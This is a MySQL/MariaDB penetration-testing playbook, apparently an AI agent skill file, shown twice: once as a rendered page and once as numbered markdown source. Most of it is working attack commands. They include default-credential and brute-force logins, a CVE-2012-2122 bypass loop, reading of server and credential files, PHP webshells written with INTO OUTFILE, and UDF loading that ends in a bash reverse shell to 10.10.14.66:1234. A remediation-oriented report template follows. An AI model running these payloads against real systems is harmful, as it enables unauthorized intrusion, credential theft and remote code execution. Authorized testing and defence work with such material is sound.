Pentesting MySQL (port 3306)
When to Use
- Default port
3306/tcp; nmap/banner shows mysql, MariaDB, or a greeting like 5.7.x/8.0.x/10.x-MariaDB.
- MySQL is a plain-text protocol (unless TLS is forced), so native clients and NSE scripts interact directly.
- Use when you have network reach to the DB port, recovered creds to reuse, or local shell access to a host running
mysqld (sockets, debian.cnf, ~/.my.cnf).
Quick Enumeration
# Version + default scripts (most need creds, but mysql-info/empty-password do not)
nmap -sV -p 3306 --script mysql-info,mysql-empty-password,mysql-enum,mysql-variables,mysql-databases,mysql-users,mysql-dump-hashes,mysql-vuln-cve2012-2122 <IP>
# Consoleless metasploit (version + auth-bypass hashdump)
msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS <IP>; run; exit'
msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS <IP>; run; exit'
# Direct connect attempts
mysql -h <IP> -u root # no password
mysql -h <IP> -u root -p # prompt for password
mysql -h <IP> -u root@localhost # some grants only allow localhost
Critical: Checks Most Often Missed
- Empty / default root password — the #1 miss. Try
root with empty password and common defaults (root:root, root:toor, root:password).
- How to CONFIRM:
mysql -h <IP> -u root -e 'select user();' returns a session; nmap --script mysql-empty-password -p3306 <IP> reports "account has empty password".
- CVE-2012-2122 auth bypass — repeated logins with any password succeed ~1/256 of the time on vulnerable builds.
- How to CONFIRM:
for i in $(seq 1 1000); do mysql -h<IP> -uroot -pwrong 2>/dev/null && break; done, or nmap --script mysql-vuln-cve2012-2122 -p3306 <IP>, or the mysql_authbypass_hashdump module.
- FILE privilege → arbitrary read + webshell write (INTO OUTFILE) — a user with
FILE privilege and empty/permissive secure_file_priv can read server files and drop a PHP shell into a writable webroot.
- How to CONFIRM:
SELECT user,file_priv FROM mysql.user WHERE file_priv='Y'; and SHOW VARIABLES LIKE 'secure_file_priv'; (empty = anywhere). Then SELECT load_file('/etc/passwd'); returns content, or SELECT '<?php system($_GET["c"]);?>' INTO OUTFILE '/var/www/html/x.php'; lands a shell.
- mysqld running as root → UDF RCE (lib_mysqludf_sys) — load a
.so/.dll into the plugin dir and create sys_exec to run OS commands as the DB service account.
- How to CONFIRM:
SHOW VARIABLES LIKE '%plugin%'; is writable and select user,Super_priv from mysql.user where Super_priv='Y';; success = select sys_exec('id > /tmp/o'); writes the file.
- Rogue-server arbitrary file read — if a client connects out to you with
LOCAL INFILE enabled, a malicious MySQL server reads client files. JDBC Connector/J <= 8.0.32 propertiesTransform gadget gives client-side RCE.
Workflow
Step 1: Enumerate (version, config, capabilities)
nmap -sV -p3306 --script mysql-info,mysql-variables <IP>
# Local host artifacts (if you have shell):
ls -l /run/mysqld/mysqld.sock /etc/mysql/debian.cnf ~/.my.cnf 2>/dev/null
cat /etc/mysql/debian.cnf # plaintext debian-sys-maint creds
Step 2: Authenticate (empty/default creds, brute force)
mysql -h <IP> -u root # empty password
mysql -S /run/mysqld/mysqld.sock -u root # local socket (auth_socket bypass)
# Brute force
hydra -L users.txt -P passwords.txt <IP> mysql
nxc mysql <IP> -u users.txt -p passwords.txt
medusa -h <IP> -u root -P passwords.txt -M mysql
Step 3: Exploit / Extract (dump data + FILE/UDF RCE primitive)
-- Recon once connected
select version(); select user(); select @@secure_file_priv;
show databases; SELECT * FROM mysql.user; -- hashes (mysql_native_password / $mysql-sha2$)
SELECT user,file_priv,Super_priv FROM mysql.user;
-- Arbitrary file READ (needs FILE priv)
SELECT load_file('/var/lib/mysql-files/key.txt');
SELECT load_file('/etc/passwd');
-- Webshell WRITE into webroot (INTO OUTFILE; cannot overwrite existing files)
SELECT '<?php echo shell_exec($_GET["c"]);?>' INTO OUTFILE '/var/www/html/back.php';
-- Windows / XAMPP target
select 1,2,"<?php echo shell_exec($_GET['c']);?>",4 into OUTFILE 'C:/xampp/htdocs/back.php';
-- UDF RCE when mysqld runs privileged (lib_mysqludf_sys from sqlmap/metasploit)
USE mysql;
CREATE TABLE npn(line blob);
INSERT INTO npn VALUES(load_file('/tmp/lib_mysqludf_sys.so'));
SHOW VARIABLES LIKE '%plugin%'; -- find @@plugin_dir
SELECT * FROM npn INTO DUMPFILE '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/lib_mysqludf_sys.so';
CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys.so';
SELECT sys_exec('bash -c "bash -i >& /dev/tcp/10.10.14.66/1234 0>&1"');
-- Windows NTFS trick: bootstrap a missing plugin dir via ADS before the UDF drop
SELECT 1 INTO OUTFILE 'C:\\MySQL\\lib\\plugin::$INDEX_ALLOCATION';
Step 4: Post-access / privilege escalation / pivot
- Dump
mysql.user hashes and crack offline: Hashcat mode 300 (mysql_native_password), 21100 ($mysql-sha2$ / MySQL 8), John --format=mysql-sha2.
- Read hashes from disk:
grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD.
- Look for
auth_socket/unix_socket plugin on privileged users — an OS user becomes that DB user over the socket with no password.
- Change root password if you have write to
mysql.user: UPDATE mysql.user SET authentication_string=PASSWORD('x') WHERE User='root'; FLUSH PRIVILEGES;
- Reuse recovered DB creds /
debian.cnf against SSH, SMB, web apps.
Key Concepts
| Concept |
Description |
| FILE privilege |
Per-user grant required for load_file(), INTO OUTFILE, INTO DUMPFILE. |
| secure_file_priv |
Restricts file I/O to a directory; empty = anywhere, NULL = disabled. |
| INTO OUTFILE |
Writes query output to a new file (cannot overwrite) — webshell drop primitive. |
| UDF (lib_mysqludf_sys) |
User-defined function loaded from a .so/.dll in @@plugin_dir giving sys_exec/sys_eval OS command execution. |
| auth_socket / unix_socket |
Auth plugin mapping an OS user to a DB account over the local socket with no DB password. |
| LOCAL INFILE / rogue server |
A malicious MySQL server can read files from a connecting client. |
| CVE-2012-2122 |
Memcmp auth bypass; any password works ~1/256 attempts on vulnerable versions. |
Tools & Systems
| Tool |
Purpose |
| mysql / mariadb client |
Native interactive client for auth, enumeration, file/UDF primitives. |
| nmap NSE |
mysql-info, mysql-empty-password, mysql-enum, mysql-users, mysql-dump-hashes, mysql-vuln-cve2012-2122. |
| Metasploit |
scanner/mysql/mysql_version, mysql_authbypass_hashdump, mysql_hashdump, admin/mysql/mysql_enum, mysql_schemadump. |
| netexec (nxc) |
nxc mysql <IP> -u users -p passwords for spraying/auth. |
| hydra / medusa |
Credential brute force against MySQL login. |
| sqlmap |
Bundles lib_mysqludf_sys payloads (locate "*lib_mysqludf_sys*"). |
| Hashcat / John |
Offline cracking of dumped mysql.user hashes (modes 300 / 21100). |
Common Scenarios
Scenario 1: Empty root → data theft
nmap --script mysql-empty-password confirms root with no password. mysql -h<IP> -uroot connects; SELECT * FROM mysql.user dumps hashes and SHOW DATABASES exposes application data with reusable secrets.
Scenario 2: FILE privilege → webshell RCE
The app DB user has FILE and secure_file_priv is empty. SELECT '<?php system($_GET["c"]);?>' INTO OUTFILE '/var/www/html/x.php' drops a shell; http://<IP>/x.php?c=id returns www-data.
Scenario 3: Root-run mysqld → UDF reverse shell
mysqld runs as root and the tester has a privileged login. Loading lib_mysqludf_sys.so into the plugin dir and calling sys_exec yields a root reverse shell on the host.
Output Format
## MySQL Finding
**Service**: MySQL
**Port**: 3306/tcp (MariaDB 10.3.23)
**Severity**: Critical
**Finding**: Empty root password with FILE privilege enabling webshell write
**Evidence**:
- nmap mysql-empty-password: "root account has empty password"
- `mysql -h<IP> -uroot -e "SELECT user,file_priv FROM mysql.user"` -> root file_priv=Y
- `SELECT ... INTO OUTFILE '/var/www/html/x.php'` succeeded; /x.php?c=id -> uid=33(www-data)
**Impact**: Unauthenticated database access plus arbitrary file write to the web root yields remote code execution.
**Recommendation**:
1. Set a strong unique root password and remove anonymous/empty accounts.
2. Bind MySQL to localhost or restrict 3306 by firewall/source IP.
3. Set `secure_file_priv` to a non-web directory and revoke FILE from app users.
4. Run mysqld as an unprivileged account; patch to address CVE-2012-2122.
1---2name: pentesting-mysql3description: Testing MySQL / MariaDB database services (default port 3306) for empty/default root credentials, authentication-bypass and version CVEs, FILE-privilege data theft, and the INTO OUTFILE webshell / lib_mysqludf_sys UDF remote-code-execution primitives during authorized engagements.4license: Apache-2.05---6
7# Pentesting MySQL (port 3306)
8
9## When to Use
10- Default port `3306/tcp`; `nmap`/banner shows `mysql`, `MariaDB`, or a greeting like `5.7.x`/`8.0.x`/`10.x-MariaDB`.
11- MySQL is a **plain-text protocol** (unless TLS is forced), so native clients and NSE scripts interact directly.
12- Use when you have network reach to the DB port, recovered creds to reuse, or local shell access to a host running `mysqld` (sockets, `debian.cnf`, `~/.my.cnf`).
13
14## Quick Enumeration
15```bash
16# Version + default scripts (most need creds, but mysql-info/empty-password do not)
17nmap -sV -p 3306 --script mysql-info,mysql-empty-password,mysql-enum,mysql-variables,mysql-databases,mysql-users,mysql-dump-hashes,mysql-vuln-cve2012-2122 <IP>
18
19# Consoleless metasploit (version + auth-bypass hashdump)
20msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS <IP>; run; exit'
21msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS <IP>; run; exit'
22
23# Direct connect attempts
24mysql -h <IP> -u root # no password
25mysql -h <IP> -u root -p # prompt for password
26mysql -h <IP> -u root@localhost # some grants only allow localhost
27```
28
29## Critical: Checks Most Often Missed
30- **Empty / default root password** — the #1 miss. Try `root` with empty password and common defaults (`root:root`, `root:toor`, `root:password`).
31 - How to CONFIRM: `mysql -h <IP> -u root -e 'select user();'` returns a session; `nmap --script mysql-empty-password -p3306 <IP>` reports "account has empty password".
32- **CVE-2012-2122 auth bypass** — repeated logins with any password succeed ~1/256 of the time on vulnerable builds.
33 - How to CONFIRM: `for i in $(seq 1 1000); do mysql -h<IP> -uroot -pwrong 2>/dev/null && break; done`, or `nmap --script mysql-vuln-cve2012-2122 -p3306 <IP>`, or the `mysql_authbypass_hashdump` module.
34- **FILE privilege → arbitrary read + webshell write (INTO OUTFILE)** — a user with `FILE` privilege and empty/permissive `secure_file_priv` can read server files and drop a PHP shell into a writable webroot.
35 - How to CONFIRM: `SELECT user,file_priv FROM mysql.user WHERE file_priv='Y';` and `SHOW VARIABLES LIKE 'secure_file_priv';` (empty = anywhere). Then `SELECT load_file('/etc/passwd');` returns content, or `SELECT '<?php system($_GET["c"]);?>' INTO OUTFILE '/var/www/html/x.php';` lands a shell.
36- **mysqld running as root → UDF RCE (lib_mysqludf_sys)** — load a `.so`/`.dll` into the plugin dir and create `sys_exec` to run OS commands as the DB service account.
37 - How to CONFIRM: `SHOW VARIABLES LIKE '%plugin%';` is writable and `select user,Super_priv from mysql.user where Super_priv='Y';`; success = `select sys_exec('id > /tmp/o');` writes the file.
38- **Rogue-server arbitrary file read** — if a client connects out to you with `LOCAL INFILE` enabled, a malicious MySQL server reads client files. JDBC `Connector/J <= 8.0.32` `propertiesTransform` gadget gives client-side RCE.
39
40## Workflow
41
42### Step 1: Enumerate (version, config, capabilities)
43```bash
44nmap -sV -p3306 --script mysql-info,mysql-variables <IP>
45# Local host artifacts (if you have shell):
46ls -l /run/mysqld/mysqld.sock /etc/mysql/debian.cnf ~/.my.cnf 2>/dev/null
47cat /etc/mysql/debian.cnf # plaintext debian-sys-maint creds
48```
49
50### Step 2: Authenticate (empty/default creds, brute force)
51```bash
52mysql -h <IP> -u root # empty password
53mysql -S /run/mysqld/mysqld.sock -u root # local socket (auth_socket bypass)
54# Brute force
55hydra -L users.txt -P passwords.txt <IP> mysql
56nxc mysql <IP> -u users.txt -p passwords.txt
57medusa -h <IP> -u root -P passwords.txt -M mysql
58```
59
60### Step 3: Exploit / Extract (dump data + FILE/UDF RCE primitive)
61```sql
62-- Recon once connected
63select version(); select user(); select @@secure_file_priv;
64show databases; SELECT * FROM mysql.user; -- hashes (mysql_native_password / $mysql-sha2$)
65SELECT user,file_priv,Super_priv FROM mysql.user;
66
67-- Arbitrary file READ (needs FILE priv)
68SELECT load_file('/var/lib/mysql-files/key.txt');
69SELECT load_file('/etc/passwd');
70
71-- Webshell WRITE into webroot (INTO OUTFILE; cannot overwrite existing files)
72SELECT '<?php echo shell_exec($_GET["c"]);?>' INTO OUTFILE '/var/www/html/back.php';
73-- Windows / XAMPP target
74select 1,2,"<?php echo shell_exec($_GET['c']);?>",4 into OUTFILE 'C:/xampp/htdocs/back.php';
75```
76```sql
77-- UDF RCE when mysqld runs privileged (lib_mysqludf_sys from sqlmap/metasploit)
78USE mysql;
79CREATE TABLE npn(line blob);
80INSERT INTO npn VALUES(load_file('/tmp/lib_mysqludf_sys.so'));
81SHOW VARIABLES LIKE '%plugin%'; -- find @@plugin_dir
82SELECT * FROM npn INTO DUMPFILE '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/lib_mysqludf_sys.so';
83CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys.so';
84SELECT sys_exec('bash -c "bash -i >& /dev/tcp/10.10.14.66/1234 0>&1"');
85```
86```sql
87-- Windows NTFS trick: bootstrap a missing plugin dir via ADS before the UDF drop
88SELECT 1 INTO OUTFILE 'C:\\MySQL\\lib\\plugin::$INDEX_ALLOCATION';
89```
90
91### Step 4: Post-access / privilege escalation / pivot
92- Dump `mysql.user` hashes and crack offline: Hashcat mode **300** (`mysql_native_password`), **21100** (`$mysql-sha2$` / MySQL 8), John `--format=mysql-sha2`.
93- Read hashes from disk: `grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD`.
94- Look for `auth_socket`/`unix_socket` plugin on privileged users — an OS user becomes that DB user over the socket with no password.
95- Change root password if you have write to `mysql.user`: `UPDATE mysql.user SET authentication_string=PASSWORD('x') WHERE User='root'; FLUSH PRIVILEGES;`
96- Reuse recovered DB creds / `debian.cnf` against SSH, SMB, web apps.
97
98## Key Concepts
99| Concept | Description |
100|---------|-------------|
101| **FILE privilege** | Per-user grant required for `load_file()`, `INTO OUTFILE`, `INTO DUMPFILE`. |
102| **secure_file_priv** | Restricts file I/O to a directory; empty = anywhere, NULL = disabled. |
103| **INTO OUTFILE** | Writes query output to a new file (cannot overwrite) — webshell drop primitive. |
104| **UDF (lib_mysqludf_sys)** | User-defined function loaded from a `.so`/`.dll` in `@@plugin_dir` giving `sys_exec`/`sys_eval` OS command execution. |
105| **auth_socket / unix_socket** | Auth plugin mapping an OS user to a DB account over the local socket with no DB password. |
106| **LOCAL INFILE / rogue server** | A malicious MySQL server can read files from a connecting client. |
107| **CVE-2012-2122** | Memcmp auth bypass; any password works ~1/256 attempts on vulnerable versions. |
108
109## Tools & Systems
110| Tool | Purpose |
111|------|---------|
112| **mysql / mariadb client** | Native interactive client for auth, enumeration, file/UDF primitives. |
113| **nmap NSE** | `mysql-info`, `mysql-empty-password`, `mysql-enum`, `mysql-users`, `mysql-dump-hashes`, `mysql-vuln-cve2012-2122`. |
114| **Metasploit** | `scanner/mysql/mysql_version`, `mysql_authbypass_hashdump`, `mysql_hashdump`, `admin/mysql/mysql_enum`, `mysql_schemadump`. |
115| **netexec (nxc)** | `nxc mysql <IP> -u users -p passwords` for spraying/auth. |
116| **hydra / medusa** | Credential brute force against MySQL login. |
117| **sqlmap** | Bundles `lib_mysqludf_sys` payloads (`locate "*lib_mysqludf_sys*"`). |
118| **Hashcat / John** | Offline cracking of dumped `mysql.user` hashes (modes 300 / 21100). |
119
120## Common Scenarios
121### Scenario 1: Empty root → data theft
122`nmap --script mysql-empty-password` confirms `root` with no password. `mysql -h<IP> -uroot` connects; `SELECT * FROM mysql.user` dumps hashes and `SHOW DATABASES` exposes application data with reusable secrets.
123
124### Scenario 2: FILE privilege → webshell RCE
125The app DB user has `FILE` and `secure_file_priv` is empty. `SELECT '<?php system($_GET["c"]);?>' INTO OUTFILE '/var/www/html/x.php'` drops a shell; `http://<IP>/x.php?c=id` returns `www-data`.
126
127### Scenario 3: Root-run mysqld → UDF reverse shell
128`mysqld` runs as root and the tester has a privileged login. Loading `lib_mysqludf_sys.so` into the plugin dir and calling `sys_exec` yields a root reverse shell on the host.
129
130## Output Format
131```
132## MySQL Finding
133
134**Service**: MySQL
135**Port**: 3306/tcp (MariaDB 10.3.23)
136**Severity**: Critical
137**Finding**: Empty root password with FILE privilege enabling webshell write
138**Evidence**:
139 - nmap mysql-empty-password: "root account has empty password"
140 - `mysql -h<IP> -uroot -e "SELECT user,file_priv FROM mysql.user"` -> root file_priv=Y
141 - `SELECT ... INTO OUTFILE '/var/www/html/x.php'` succeeded; /x.php?c=id -> uid=33(www-data)
142**Impact**: Unauthenticated database access plus arbitrary file write to the web root yields remote code execution.
143**Recommendation**:
144 1. Set a strong unique root password and remove anonymous/empty accounts.
145 2. Bind MySQL to localhost or restrict 3306 by firewall/source IP.
146 3. Set `secure_file_priv` to a non-web directory and revoke FILE from app users.
147 4. Run mysqld as an unprivileged account; patch to address CVE-2012-2122.
148```